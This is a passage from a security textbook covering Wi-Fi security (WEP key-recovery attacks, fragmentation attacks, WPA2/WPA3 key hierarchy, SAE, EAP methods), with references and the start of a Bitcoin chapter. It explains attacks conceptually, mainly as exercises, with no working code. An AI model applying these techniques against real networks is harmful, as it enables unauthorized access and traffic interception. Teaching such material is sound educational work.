provided no further swaps (after round i = b) involve index b. This last condition is why
for each b, multiple (e.g., 60) IVs of the desired form are collected. Based on modeling,
the condition holds with probability somewhat over 0.05, so 60 instances are expected to
yield at least 3 correct observations or “votes” for the correct value of seed[b]. Of 60
available votes, none of the other 255 (8-bit) values is expected (by model) to get even
two votes, thus simple voting is expected to identify the correct key byte.
ATTACK TIME VS . KEY LENGTH . For a 40-bit WEP key, the FMS attack recovers
5 key bytes, each over one iteration step. For 104-bit keys, the 13 key bytes require 13
iterations, taking about 2.6 times longer—an increase only linear in the key length. In
contrast, an attack time exponential in key length is expected (e.g., 0.5 · 2n for n-bit key
trials) for cryptographic algorithms for which there are no known algorithmic weaknesses.
‡Exercise (Key recovery implementations). The FMS paper estimated requiring 4
million WEP frames. The first implementation used 5–6 million, but this was reduced to 1
million by optimizations. Independent public implementations of FMS key recovery soon
appeared in tools AirSnort and WEPCrack.16 (a) Summarize these optimizations (hint:
[48]). (b) The PTW attack, a later statistical method not restricted to weak IVs, needed
only 40,000 (85,000) frames for 50% (95%) probability of success in key recovery. In
2007 it recovered a 104-bit WEP key in 60 seconds. Explain how it acquired frames with
different IVs using active techniques including re-injection of captured ARP requests17
and deauthenticate management frames (hint: [50]; [49] for improvements). (c) Discuss
the evolution of WEP key recovery attacks, from FMS to attacks utilizing arbitrary IVs;
discuss passive vs. active attacks, the number of frames needed, attack times, and incor-
poration into automated key recovery tools such as Aircrack-ng (hint: [41]).
‡Exercise (Fragmentation attacks). IEEE 802.11 supports payload fragmentation and
reassembly of MAC frames. An 8-byte known-plaintext LLC/SNAP (subnetwork access
protocol) header commonly starts the WEP-encrypted body (Fig. 12.7 at ‘*’ after IVD).
Explain how this and one passively recorded encrypted frame can be used to: (a) recover
an 8-byte keystream by simple XOR; (b) leverage 802.11 fragmentation to directly enable
transmission of 64 bytes of encrypted data; (c) with further steps, recover 1500-byte key-
streams, thereby allowing transmission (without fragmentation) of 1500 bytes of data; and
(d) by inserting an IP header into frame fragments, get an AP to decrypt captured WLAN
traffic and forward the result to an address of choice. (Hint for all parts: [6].)
‡Exercise (RC 4 initial keystream bytes). When the 2001 FMS attack appeared, a sug-
gested work-around was that when using RC 4, an agreed-upon number of output bytes (at
least 256) be discarded before using the keystream, to avoid biases in the initial keystream
bytes. Why was this solution not promoted by the Wi-Fi Alliance? (Hint: [11]; cf. [27].)
S UMMARY COMMENT: KEY MANAGEMENT. In distributed networks using open
standards and public communications channels, cryptographic protection is recognized
16 Free cracking tools (illegal in some countries) rarely bring joy to product vendors, but are hard to ignore.
17 The Address Resolution Protocol (ARP) is discussed in Chapter 11.
12.7. ‡AES-CCMP frame encryption and key hierarchy (WPA2) 361
as the primary means for security. Aside from trustworthy algorithms, cryptography it-
self depends on one major assumption among all others: that secret keys remain secrets
associated with (only) the authorized parties. Sound key management is absolutely essen-
tial, in all aspects. However, WEP’s design failed here—its properties D2–D6 (page 357)
would not have been approved by security experts. While it is understood that a stan-
dards committee has limited resources, the decision to declare management of the master
key beyond the scope of WEP itself turned out badly for everyone but attackers. WEP’s
above-noted spectacular failures are strongly related to this void; the lack of built-in key
management, with no requirement or support for easy key update, discouraged changing
master keys, commonly resulting in a shared, long-term static key—increasing both its
attractiveness as a target, and the consequences of its compromise. Had 802.11 failed to
gain popularity, these issues would have drawn less attention and had little impact—but
success attracts heavy scrutiny, and errors become both highly visible and costly to repair.
before the encrypted part, and 8 final bytes for the MAC integrity value.19 Our main
interest in this cleartext header is a 6-byte packet number (PN), and a KeyID field (cf. Fig.
12.7). The PN is used both to detect replay (below), and to avoid key reuse as explained
next. A 48-bit PN is to be incremented with each frame (MPDU), yielding a PN that is
unique for each MPDU (for a given PTK session key),20 used to build a 128-bit counter
block (Fig. 12.9) for CCM’s CTR mode encryption. CTR mode requires, for its initial
counter block, a nonce value that is never reused for the same key. A 104-bit nonce
and a 16-bit rolling counter i are part of the full counter block (the rolling counter’s 216
values far exceed the number of 128-bit blocks to be counted, given the MPDU size limit).
The value i is incremented (within the CTR mode) as each 128-bit block in the frame is
encrypted, starting with i = 1 for the first 128-bit plaintext block. Here the PN (with extra
assurance from the MAC source address) ensures that the 128-bit counter block of Fig.
12.9 starts at a value never used before for this PTK—as required by the CCM mode. Note
that this value need not be unpredictable—uniqueness is the requirement.
nonce for Counter mode
Exercise (AES-CCMP details). (a) Describe full details for data integrity and encryp-
tion of frames in AES-CCMP, including padding fields and the frame format, how CCMP
header fields are used, and the special first block in CCMP’s CBC-MAC. (b) Discuss the
advantages and disadvantages of AES-CCMP keeping only 8 bytes of 16-byte CBC-MAC.
(Hint: [22]; [11, Ch.12]. CCMP follows RFC 3610 [55] with M = 8, L = 2.)
N OTATION FOR PSEUDO - RANDOM BIT GENERATION . We now introduce notation
for pseudo-random functions (PRFs). PRFs are used in 802.11 to derive a set of keys from
a master key (key derivation), and to initialize random strings. To instantiate a PRF, the
HMAC construction is used on the SHA-1 hash function, yielding the MAC algorithm
called HMAC-SHA-1 (Chapter 2). It takes two inputs—a key, and a message string—and
produces 160 bits of output. For notation, with “::” denoting concatenation, define:
x hmac sha1(K, A, B, i) = HMAC SHA 1(K, A :: [0] :: B :: [i]) (12.3)
where [0] and [i] denote 1-byte representations of 0 and unsigned integer i. To get 160 ran-
dom bits, we call this function with i = 0. If the number t of desired random bits exceeds
160, then we call it again for i = 1 and so on, until the combined output (appending each
new output to the end) is at least t bits, and use the first t bits. To generate t = 384 bits,
19 The MAC protocol data unit (MPDU) carried by an 802.11 frame body (Fig. 12.2) may result from the
fragmentation of a MAC service data unit (MSDU) that exceeds the MPDU maximum size.
20 A 48-bit counter, starting from 1 and incremented per frame, is not expected to roll over, for a given
session key. If the device is restarted, a new session key is established, and PN is reset to 1 by default.
12.7. ‡AES-CCMP frame encryption and key hierarchy (WPA2) 363
Table 12.3: Functions of the subkeys of the pairwise transient key (PTK).
364 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
bution process is simpler than establishing a PTK, since each STA’s existing KEK—part
of PTK—can be relied on. (Based on the PMK from each STA’s 802.1X authentication,
both STA and AP can generate the PTK upon completion of m2.) GTK is similarly up-
dated as needed, by a customized two-pass Group Key Handshake (not discussed here);
implementations may, e.g., update the GTK once an hour using this.
Exercise (Broadcast keys). In an 802.11 WLAN with all associated STA devices shar-
ing pairwise master keys with their AP, why are group encryption keys needed for broad-
cast, i.e., why not encrypt broadcast messages for each STA, using individual pairwise
keys? (Aside: independent of this, when a STA leaves a network, by convention it sends a
disassociate message, at which point the AP updates the group key.)
RSN S . The 802.11i security amendment in 2004 (Table 12.4) defined the term Robust
Security Network (RSN). Items introduced as part of this included:
1. defining an RSN association (RSNA) to be an association using the four-pass handshake,
and defining an RSN as a WLAN whose policy requires that all associations be RSNAs;
2. making CCMP support mandatory for 802.11-compliant networks (while allowing TKIP as
a non-mandatory option, and documenting WEP as a non-RSN option);
3. introducing the four-pass handshake with STA session keys derived per Fig. 12.10, tied
into the 802.1X controlled-port design, and based on a PMK from either a PSK or the
output of an 802.1X mutual authentication method;
4. providing WLAN access control via frame encryption, in that a temporal key is required in
order to inject valid encrypted frames or extract plaintext from such frames;
5. generalizing the frame header WEP bit (Fig. 12.2) to a protected bit; and
6. disallowing the Shared Key protocol as a pre-association authentication alternative.
Despite consensus that RC 4-based versions of 802.11 (WEP, TKIP) should no longer be
used, fully eliminating such legacy systems is hard, even 20 years after the first attacks.
‡Exercise (Password-to-PSK mapping). Used when no external AS is involved, a PSK
is often based on a pre-configured (secret) password or passphrase. The required 256-bit
PSK is typically derived using a deterministic function, whose output is then the PMK . A
technique from 2004 recommended deriving the PSK from the SSID and user password
(8 to 63 ASCII characters) via 4096 iterations of HMAC-SHA-1. Specify the full details.
(Hint: [22, Appendix H.4], including a reference implementation in C.)
Exercise (Session keys of other shared-key users). In an AES-CCMP architecture, sup-
pose a PSK is shared among multiple users or posted in public view (shared and public).
(a) Explain how one user can compute the PTK of another; clearly indicate what informa-
tion is required (hint: this greatly simplifies the offline dictionary attack from page 359).
(b) Given this, discuss the risks of (shared and public) Wi-Fi passwords in coffee shops.
O PPORTUNISTIC W IRELESS E NCRYPTION (OWE). Free airport and hotel Wi-Fi
services often use an open AP (no encryption or authentication). OWE aims to improve
on this by encrypting traffic, with no extra user actions (but without any authentication).
The STA and AP carry out an unauthenticated DH exchange upon establishing 802.11
association (Table 12.1, page 343). The DH secret is used to derive a PMK, which is used
in the four-pass handshake triggered by the AP, establishing the session encryption keys.
368 Chapter 12. Wireless LAN Security: 802.11 and Wi-Fi
Exercise (OWE security). (a) What threats does OWE address relative to an open AP?
Consider both passive and active attacks, e.g., rogue AP. (b) Some free Wi-Fi services
are not open, but use a shared and public PSK, i.e., a communal passkey posted publicly.
Would using OWE instead help or hurt security? (Hint: [18]. Note: OWE is not part of
WPA 3, but is promoted by the Wi-Fi Alliance under a separate Enhanced Open program.)
SAE ( DRAGONFLY ). 802.11–2012 (Table 12.4) added a core 802.11 authentica-
tion method based on a pre-shared secret: SAE (Simultaneous Authentication of Equals).
SAE first uses Dragonfly, a password-based key establishment protocol similar to SPEKE
(Chapter 4), offering forward secrecy and mitigating offline dictionary attacks (above),
which plague WPA2-personal. By Dragonfly, a STA and AP mutually authenticate, demon-
strating knowledge of the shared secret; a resulting fresh, high-entropy PMK is then used
in the four-pass handshake to derive the usual session keys. (See also Section 12.9.)
WPA 3 AND HOME NETWORKS . WPA 3 specifies five suites of security requirements:
two personal modes (for small or home networks using static secrets or passwords), three
enterprise modes (using 802.1X EAP methods for upper-layer authentication). These two
divisions each include a baseline WPA3only mode, and a transition mode to interoperate
with WPA 2 products. The enterprise division also has a “192-bit” WPA3only mode with
longer keys (e.g., 192 × 2 = 384-bit elliptic curve parameters paired with AES-256). The
WPA3only-personal mode requires support of SAE and integrity-protected management
frames, while disallowing TKIP, WEP, and older PSK authentication (whereby predictably
mapping PSK to PMK then PTK is subject to dictionary attack). For home-network prod-
ucts, labels such as WPA2(AES)-personal are used to signal WPA 2 excluding TKIP, and
WPA2-WPA3-transitional to allow WPA 3 devices to interoperate with WPA 2 (AES).
‡Exercise (Device setup, WPS and DPP). Wi-Fi Protected Setup (WPS) was promoted
in 2007 to easily share a secret (PSK) between an AP and user device (STA); it is now
deprecated. In one mode, a button-push on the AP released the PSK to the STA; another
used an 8-digit PIN. (a) Summarize the technical details of these methods and the circa-
2011 flaw in the PIN method (hint: [54]). (b) Explain known vulnerabilities in algorithms
for generating default WPA 2 passwords, often on printed labels on router-APs (hint: [26]).
(c) The Device Provisioning Protocol (DPP), released in parallel with WPA 3 and promoted
as Easy Connect by the Wi-Fi Alliance, replaces WPS. It aims to provision public-key
identities for Wi-Fi devices. Summarize the main technical details of DPP. (Hint: [56].)
EAP METHODS . 802.11 leaves open the choice of 802.1X authentication method
(EAP method), and a wide variety is used. Table 12.5 gives examples, some themselves
being frameworks allowing choice of inner methods. Recall the goal (Section 12.3): STA–
AS mutual authentication, resulting also in a PMK (Fig. 12.10, page 363).
M ETHOD CATEGORIES . EAP methods may be categorized by whether they use
(symmetric) pre-shared secrets, or credentials based on public-key cryptography; and
whether the exchange is direct or occurs after a tunnel is first set up (e.g., using TLS) to
facilitate an inner method. Such tunnels may protect static secrets from dictionary attacks
or preserve privacy of user identities. Among the most popular enterprise EAP methods
has been EAP-TLS; here only the TLS authentication handshake (Chapter 9) is used, and
mainly with mutual authentication based on certificates for both AS and client (STA), thus
12.9. ‡End notes and further reading 369
requiring management of client-side certificates. EAP methods that avoid client-side cer-
tificates are generally simpler to deploy, but may be less resistant to attacks.
Protocol (AES-GCMP) added in 802.11ac. NIST offers guidance on RSNs and 802.11i
[34], Bluetooth [35], and mobile device management [36]. IEEE 802.1X [23] specifies
port-based network access control. Youm [59] surveys EAP methods (cf. Table 12.5).
RADIUS and EAP were designed for use with the Point-to-Point Protocol (PPP) [44].
In early Internet service over phone lines, a user’s computer modem dialed into the local
modem pool of an ISP. PPP converted the phone line to a bytestream channel and then
relayed bytes. PPP’s link-layer services are not used by 802.11, but its authentication ar-
chitecture matches. In PPP, a password was originally sent plaintext (PAP [25]) or used
in the challenge-response CHAP [45] protocol. This relied on the physical security of
telephone wires—from which accessing and extracting data is harder than for 802.11 ra-
dio. EAP [1] replaced PAP and CHAP by a framework allowing choice of methods (and
thus evolution). RADIUS (Remote Authentication Dial In User Service) relayed data be-
tween local modem pools and a centralized (RADIUS) server for verification; this avoided
replicating secrets across numerous local databases. RADIUS evolved over time, but its
historical name remains along with its functionality: relaying data between service access
points and a central authentication server. Diameter [12] is an Authentication, Authoriza-
tion and Accounting (AAA) protocol intended to replace RADIUS. For analysis of the
variants MS-CHAP and MS-CHAPv2 [60] of CHAP authentication, see Schneier [40].
The eduroam network (Education Roaming) [58] is an example of using 802.1X-based
authentication and RADIUS servers; member institutions provide WLAN access via their
local networks, to visiting users from other eduroam-participating institutions. Regarding
the practice of MAC address randomization to protect privacy, see Vanhoef [51].
SAE was first advanced as a password-authenticated key exchange protocol (Chap-
ter 4) for peer-to-peer authentication in mesh networks under 802.11s (July 2011); it was
renamed Dragonfly and has many variants (e.g., [15, 16]), one used in EAP-pwd [19].
For side-channel attacks on Dragonfly (as used per 802.11’s SAE and EAP-pwd), see
the Dragonblood [53] work. See also Vanhoef’s attacks [52] on WPA 2’s four-pass hand-
shake that reinstall temporal keys and reset packet numbers such that nonces are reused
(defeating anti-replay defenses). For formal analysis of WPA 2, see Cremers [9].
As a grammatical note to end with, we write “a STA” (orally: a STAY, for station)
rather than “an STA” (an ESS-TEE-AY), as we prefer the oral efficiency of the former.
References (Chapter 12)
[1] B. Aboba, L. Blunk, J. Vollbrecht, J. Carlson, and H. Levkowetz. RFC 3748: Extensible Authentication
Protocol (EAP), June 2004. IETF Proposed Standard; obsoletes RFC 2284, updated by RFC 5247.
[2] B. Aboba and P. Calhoun. RFC 3579: RADIUS (Remote Authentication Dial In User Service) Support
For Extensible Authentication Protocol (EAP), Sept. 2003. Informational RFC; updates RFC 2869.
[3] B. Aboba, D. Simon, and P. Eronen. RFC 5247: Extensible Authentication Protocol (EAP) Key Man-
agement Framework, Aug. 2008. IETF Proposed Standard; updates RFC 3748.
[4] J. Bellardo and S. Savage. 802.11 denial-of-service attacks: Real vulnerabilities and practical solutions.
In USENIX Security, pages 15–27, 2003.
[5] F. Bersani and H. Tschofenig. RFC 4764: The EAP-PSK Protocol—A Pre-Shared Key Extensible
Authentication Protocol (EAP) Method, Jan. 2007. Experimental RFC.
[6] A. Bittau, M. Handley, and J. Lackey. The final nail in WEP’s coffin. In IEEE Symp. Security and
Privacy, pages 386–400, 2006.
[7] N. Borisov, I. Goldberg, and D. A. Wagner. Intercepting mobile communications: The insecurity of
802.11. In ACM MobiCom, pages 180–188, 2001.
[8] N. Cam-Winget, D. McGrew, J. Salowey, and H. Zhou. RFC 4851: Flexible Authentication via Secure
Tunneling Extensible Authentication Protocol Method (EAP-FAST), May 2007. Informational RFC.
[9] C. Cremers, B. Kiesl, and N. Mediner. A formal analysis of IEEE 802.11’s WPA2: Countering the
KRACKs caused by cracking the counters. In USENIX Security, 2020.
[10] E. Dawson and L. Nielsen. Automated cryptanalysis of XOR plaintext strings. Cryptologia, 20(2):165–
181, 1996.
[11] J. Edney and W. A. Arbaugh. Real 802.11 Security: Wi-Fi Protected Access and 802.11i. Addison-
Wesley, 2003.
[12] V. Fajardo, J. Arkko, J. Loughney, and G. Zorn. RFC 6733: Diameter Base Protocol, Oct. 2012. IETF
Proposed Standard; updated by RFCs 7075 and 8553, obsoletes RFCs 3588 and 5719.
[13] S. R. Fluhrer, I. Mantin, and A. Shamir. Weaknesses in the key scheduling algorithm of RC4. In
Workshop on Selected Areas in Cryptography (SAC), pages 1–24, 2001.
[14] P. Funk and S. Blake-Wilson. RFC 5281: Extensible Authentication Protocol Tunneled Transport Layer
Security Authenticated Protocol Version 0 (EAP-TTLSv0), Aug. 2008. Informational RFC.
[15] D. Harkins. Simultaneous Authentication of Equals: A secure, password-based key exchange for mesh
networks. In Sensor Tech. and Applications (SensorComm), pages 839–844, 2008. See warning in [19].
[16] D. Harkins. RFC 7664: Dragonfly Key Exchange, Nov. 2015. Informational RFC.
[17] D. Harkins. RFC 8146: Adding Support for Salted Password Databases to EAP-pwd, Apr. 2017.
Informational RFC; updates RFC 5931. Note: EAP-pwd is based on the Dragonfly key exchange.
[18] D. Harkins and W. Kumari. RFC 8110: Opportunistic Wireless Encryption, Mar. 2017. Informational.
371
372 References (Chapter 12)
[19] D. Harkins and G. Zorn. RFC 5931: Extensible Authentication Protocol (EAP) Authentication Using
Only a Password, Aug. 2010. Informational; updated by RFC 8146 [17]. RFC 5931’s official Errata
notes that the EAP-pwd key exchange (Dragonfly) of RFC 7664 [16] addresses a side-channel attack
on the method in 5931, and that consequently the method in 7664 should be used instead.
[20] R. Housley and B. Aboba. RFC 4962: Guidance for Authentication, Authorization, and Accounting
(AAA) Key Management, July 2007. IETF Best Current Practice.
[21] IEEE Computer Society. IEEE Std 802.11–2007, Part 11: Wireless LAN Medium Access Control
(MAC) and Physical Layer (PHY) Specifications. June 2007 (1184 pages), incorporating the 8 amend-
ments since 802.11–1999; superseded by 802.11–2012 (2695 pages) and 802.11–2016. The IEEE 802
group addresses Local and Metropolitan Area Networks (LANs and MANs).
[22] IEEE Computer Society. IEEE Std 802.11i–2004, Amendment 6: Medium Access Control (MAC)
Security Enhancements, Jul 2004. 175 pages. Provides security enhancements for 802.11–1999 [21].
[23] IEEE Computer Society. IEEE Std 802.1X–2010: Port-Based Network Access Control, Feb 2010. 205
pages. Revises 802.1X–2004; superseded by 802.1X–2020. The IEEE 802 group addresses Local and
Metropolitan Area Networks (LANs and MANs).
[24] G. Lehembre. Wi-Fi security—WEP, WPA and WPA2. Hakin9 (magazine), pages 2–15, Jun 2005.
https://hakin9.org/.
[25] B. Lloyd and W. Simpson. RFC 1334: PPP Authentication Protocols, Oct. 1992. IETF Proposed
Standard; obsoleted by RFC 1994 (PPP CHAP [45]).
[26] E. N. Lorente, C. Meijer, and R. Verdult. Scrutinizing WPA2 password generating algorithms in wire-
less routers. In USENIX Workshop on Offensive Technologies (WOOT), 2015.
[27] I. Mantin. A practical attack on the fixed RC4 in the WEP mode. In ASIACRYPT, pages 395–411, 2005.
[28] J. Mason, K. Watkins, J. Eisner, and A. Stubblefield. A natural language approach to automated crypt-
analysis of two-time pads. In ACM Comp. & Comm. Security (CCS), pages 235–244, 2006.
[29] R. McEliece. Finite Fields for Computer Scientists and Engineers. Kluwer, 1987.
[30] A. J. Menezes, P. C. van Oorschot, and S. A. Vanstone. Handbook of Applied Cryptography. CRC
Press, 1996. Openly available, https://cacr.uwaterloo.ca/hac/.
[31] A. Mishra, N. L. Petroni Jr., W. A. Arbaugh, and T. Fraser. Security issues in IEEE 802.11 wireless
local area networks: A survey. Wireless Communications and Mobile Computing, 4(8):821–833, 2004.
[32] R. Moskowitz. Weakness in passphrase choice in WPA interface. WNN Wi-Fi Net News. 4 Nov 2003.
[33] D. Nelson and A. DeKok. RFC 5080: Common Remote Authentication Dial In User Service (RADIUS)
Implementation Issues and Suggested Fixes, Dec. 2007. IETF Proposed Standard; updates RFCs 2865,
2866, 2869, 3579.
[34] NIST. Special Pub 800-97, Establishing Wireless Robust Security Networks: A Guide to IEEE 802.11i.
U.S. Dept. of Commerce, Feb 2007.
[35] NIST. Special Pub 800-121 r2: Guide to Bluetooth Security. U.S. Dept. of Commerce, May 2017.
[36] NIST. (Draft) Special Pub 800-124 r2: Guidelines for Managing the Security of Mobile Devices in the
Enterprise. U.S. Dept. of Commerce, Mar 2020.
[37] A. Palekar, D. Simon, J. Salowey, H. Zhou, G. Zorn, and S. Josefsson. Protected EAP Protocol
(PEAP) Version 2. Internet-Draft (Category: Informational, EAP Working Group), 15 October 2004,
draft-josefsson-pppext-eap-tls-eap-10.txt. See also Chapter 9 in [11].
[38] C. Rigney, W. Willats, and P. Calhoun. RFC 2869: RADIUS Extensions, June 2000. Informational
RFC; updated by RFC 3579, see also RFC 5080.
[39] C. Rigney, S. Willens, A. Rubens, and W. Simpson. RFC 2865: Remote Authentication Dial In User
Service (RADIUS), June 2000. IETF Draft Standard. Obsoletes RFC 2138, which obsoleted 2058;
updated by RFCs 2868, 3575, 5080, 6929, and 8044. See also RFC 5176.
References (Chapter 12) 373
[40] B. Schneier, Mudge, and D. A. Wagner. Cryptanalysis of Microsoft’s PPTP authentication extensions
(MS-CHAPv2). In Secure Networking—CQRE (Secure), pages 192–203. Springer LNCS 1740, 1999.
[41] P. Sepehrdad, P. Susil, S. Vaudenay, and M. Vuagnoux. Smashing WEP in a passive attack. In Fast
Software Encryption, pages 155–178, 2013. Extended version (2015, 65 pages): “Tornado attack on
RC4 with applications to WEP and WPA”.
[42] Y. Sheffer, G. Zorn, H. Tschofenig, and S. Fluhrer. RFC 6124: An EAP Authentication Method Based
on the Encrypted Key Exchange (EKE) Protocol, Feb. 2011. Informational RFC.
[43] D. Simon, B. Aboba, and R. Hurst. RFC 5216: The EAP-TLS Authentication Protocol, Mar. 2008.
IETF Proposed Standard; obsoletes RFC 2716.
[44] W. Simpson. RFC 1661: The Point-to-Point Protocol (PPP), July 1994. IETF Internet Standard.
[45] W. Simpson. RFC 1994: PPP Challenge Handshake Authentication Protocol (CHAP), Aug. 1996. IETF
Draft Standard; obsoletes RFC 1334.
[46] E. Skoudis and T. Liston. Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and
Effective Defenses (2nd edition). Prentice Hall, 2006 (first edition: 2001).
[47] S. G. Stubblebine and V. D. Gligor. On message integrity in cryptographic protocols. In IEEE Symp.
Security and Privacy, pages 85–104, 1992.
[48] A. Stubblefield, J. Ioannidis, and A. D. Rubin. Key recovery attack on the 802.11b wired equivalent
privacy protocol (WEP). ACM Trans. Inf. Systems and Security, 7(2):319–332, 2004. Extends NDSS
2002 paper.
[49] E. Tews and M. Beck. Practical attacks against WEP and WPA. In ACM WiSec, pages 79–86, 2009.
[50] E. Tews, R. Weinmann, and A. Pyshkin. Breaking 104 bit WEP in less than 60 seconds. In Workshop
on Information Security Applications (WISA), pages 188–202, 2007.
[51] M. Vanhoef, C. Matte, M. Cunche, L. S. Cardoso, and F. Piessens. Why MAC address randomization is
not enough: An analysis of Wi-Fi network discovery mechanisms. In AsiaCCS, pages 413–424, 2016.
[52] M. Vanhoef and F. Piessens. Key reinstallation attacks: Forcing nonce reuse in WPA2. In ACM Comp.
& Comm. Security (CCS), pages 1313–1328, 2017. See also https://www.krackattacks.com/, and
the authors’ CCS 2018 follow-up, “Release the Kraken: New KRACKs in the 802.11 standard”.
[53] M. Vanhoef and E. Ronen. Dragonblood: A security analysis of WPA3’s SAE handshake. In IEEE
Symp. Security and Privacy, 2020.
[54] S. Viehböck. Brute forcing Wi-Fi Protected Setup. Technical report, 26 Dec 2011 (version 3).
[55] D. Whiting, R. Housley, and N. Ferguson. RFC 3610: Counter with CBC-MAC (CCM), Sept. 2003.
Informational RFC.
[56] Wi-Fi Alliance. Wi-Fi Easy Connect Specification (Version 2.0). 14 Dec 2020 (revises: Version 1.0,
Device Provisioning Protocol Specification, 9 Apr 2018), https://www.wi-fi.org.
[57] Wi-Fi Alliance. WPA3 Specification (Version 2.0). 20 Dec 2019, https://www.wi-fi.org.
[58] K. Wierenga and L. Florio. Eduroam: past, present and future. Computational Methods in Science and
Technology, 11(2):169–173, 2005. See also: https://www.eduroam.org.
[59] H. Y. Youm. Extensible Authentication Protocol overview and its applications. IEICE Trans. Inf. Syst.,
92-D(5):766–776, 2009.
[60] G. Zorn. RFC 2759: Microsoft PPP CHAP Extensions, Version 2, Jan. 2000. Informational RFC;
improves on MS-CHAPv1 (RFC 2433).
Computer Security and the Internet: Tools and Jewels (2e)
Chapter 13
Bitcoin, Blockchains and Ethereum
Copyright
2020-2022
c Paul C. van Oorschot. Under publishing license to Springer.
376
13.1. Bitcoin overview 377
NULL HEAD
● ● ● ●
Figure 13.1: A blockchain of block headers. A hashlink (Fig. 13.2) includes a hash of
the referenced item’s content. The genesis block serves as a trust sink, an endpoint dual
of trust anchors (Chapter 8). Later figures show that blocks also incorporate transactions.
Figure 13.2: Hashlink data structure. In practice, the hash value itself serves as reference.
378 Chapter 13. Bitcoin, Blockchains and Ethereum
trace paper money). Many cryptocurrency designs strive for similar privacy-friendliness.
Rather than associate coins with explicit user identities, Bitcoin uses addresses derived
from public keys. The basic scheme for deriving an address from K = (x, y), a represen-
tation of an ECDSA public key (page 397), is as follows; “::” denotes concatenation.
mainPart = RIPEMD160( SHA256( K )) [two hash functions are used]
checksum = SHA256( SHA256(version :: mainPart)) [version: 1-byte format code]
address = version :: mainPart :: (first 32 bits of checksum)
The 32-bit checksum can detect all but 1 in 232 benign (e.g., typing) errors. Addresses
are 26–35 bytes (depending on version and format) after base58 encoding (next), and are
made available selectively to other parties, e.g., by email, text message, or 2D barcode.
‡E NCODING OF BINARY STRINGS . The strings that comprise transactions include
binary values (e.g., signatures, public keys, hashes). For display in human-readable form,
these strings may be encoded as alphanumeric or hexadecimal characters. One encoding,
called base58, uses 58 printable characters: 26 uppercase, 26 lowercase, and 10 digits,
excluding 4 ambiguous characters: uppercase “I” and “O”, lowercase “l”, and the digit 0.
S INGLE - USE ADDRESSES . At a glance, Bitcoin addresses hide user identities, pro-
viding anonymity. However, as they are in essence pseudonyms, reusing one address
across many transactions allows user actions to be linked; recall, all transactions are in
a public ledger. Such linkability does not directly expose identities, but when combined
with information beyond formal transaction details, anonymity might nonetheless be com-
promised. In practice, this motivates per-transaction addresses, e.g., users are encour-
aged to use software that creates a new Bitcoin address (as receiver) for each incoming
transaction—implying a new key pair.
C OIN OWNERS REPRESENTED BY UTXO S . The simplest Bitcoin transaction trans-
fers bitcoin ownership from one address (providing bitcoin as input), to another (receiving
bitcoin as transaction output). The new output is unspent (available to spend); the input
becomes spent as a result of the transaction. Transaction details allow unspent transaction
outputs (UTXOs) to be associated with addresses. The blockchain itself neither explicitly
tracks which user is associated with which addresses, nor keeps per-user UTXO balances;
data structures external to the blockchain are used (by Bitcoin nodes) to keep track of
UTXOs, i.e., which outputs have not yet been spent. Fig. 13.3 provides a model.
WALLETS . Use of per-transaction addresses and corresponding new key pairs (above)
is supported by wallet software (Section 13.7), simplifying the perspective presented to
users. Wallets keep track of all addresses associated with a user—and importantly, the cor-
responding private keys needed to claim access to coins sent to those addresses. Wallets
use these to control and manage a user’s coins, tracking all transaction outputs available
to the user-owned addresses. This is essential, because no central database run by any
official organization explicitly records Bitcoin accounts (owners) or their balances.
D OUBLE SPENDING AND TRANSACTION VALIDITY. What stops an electronic coin
owner from double spending, that is, transferring the same coin to two different parties?
Early electronic cash systems relied on a central authority to track who owns each coin
at any instant. In contrast, Bitcoin avoids a central authority for this, instead relying on a
novel consensus-based design (Section 13.6) that incentivizes and rewards cooperation.
VALIDATING TRANSACTIONS . What determines the validity of a Bitcoin transac-
tion? We will find (Section 13.6) a checklist of items including: verifying cryptographic
signatures, checking that claimed transaction outputs have not yet been spent (i.e., track-
ing UTXOs, which includes taking into account the time order of transactions), and con-
firming that transactions have been accepted by Bitcoin’s consensus system.
S IMPLIFIED OVERVIEW. Transactions originate from user wallets, and are injected
into and shared by a peer-to-peer network of Bitcoin nodes. These provide information
to miners, which package sets of transactions into blocks (for efficiency), and compete to
have their blocks added into the blockchain. The remainder of the chapter pursues details.
value must not exceed the total input (lest money be arbitrarily created). The hash of a
transaction serves as its transaction ID (txID), and is how transactions are referenced.
The input section’s field prev-out-txID is the hash of a previous transaction.
Example (Scripts and their semantics). The following example transaction presents
the most common script type.3 It has an input section unlocking script (field scriptSig),
and an output section locking script (scriptPubKey):
scriptSig : <sig1><pubkey1> (13.1)
scriptPubKey : OPDUP OPHASH 160 <addr1> OPEQUALVERIFY OPCHECKSIG (13.2)
The scriptSig field contains the sender’s signature over selected transaction data, and a
corresponding public key (it will be compared to a key from an earlier transaction); as Fig.
13.4 shows, a transaction’s input is drawn from the output section of an earlier transaction
(we’ll give more details soon). The scriptPubKey field includes the receiver address (plus
items noted shortly). The semantic meaning of this pair of scripts is:
The strange-looking opcodes (operation codes) in (13.2) are instructions that will be exe-
cuted within the script processing part of transaction validation (Section 13.3).
3 ‡This script has pattern type Pay-to-Public-Key-Hash (P2PKH). It is more compact than and replaced
older Pay-to-Public-Key (P2PK) scripts, as hashes are shorter than public keys themselves. P2PKH also
conceals the payee public key until used to claim an output. See also Pay-to-Script-Hash (P2SH), page 383.
13.2. Transaction types and fields 381
Table 13.2: Coinbase transaction (data structure) contrasted with regular transaction.
‡L OCK TIME . A lock-time field value d implies a block number (height) if d < 5
million, otherwise a Unix time in seconds. This delays a transaction if needed to ensure it
appears only in a block of height > d or with timestamp > d. If d = 0, there is no effect.
‡Exercise (Lock time). Look up possible reasons for using a non-zero lock time.
(Hint: this can allow a payer to change their mind, or make conditional payments.)
C OINBASE TRANSACTION . Table 13.2 outlines the data structure for a special type
of transaction, the coinbase transaction. Rather than consume output from an earlier
transaction, it creates (mints) units of currency as part of a block reward, specified in
equation (13.3). The reward value is conveyed using a btc-value field, as found also
in Table 13.1. The reward is for solving a puzzle task that requires a huge number of
computational steps, called a proof of work within block mining (Section 13.5). The entity
(miner) completing this task specifies who the reward goes to (e.g., its own address).
As a coinbase transaction claims no previous outputs, its input fields prev-out-txID
and prev-out-index are given special values (Table 13.2). A coinbase field plays the
role of the usual scriptSig field (unlocking script) of regular transactions, and has a
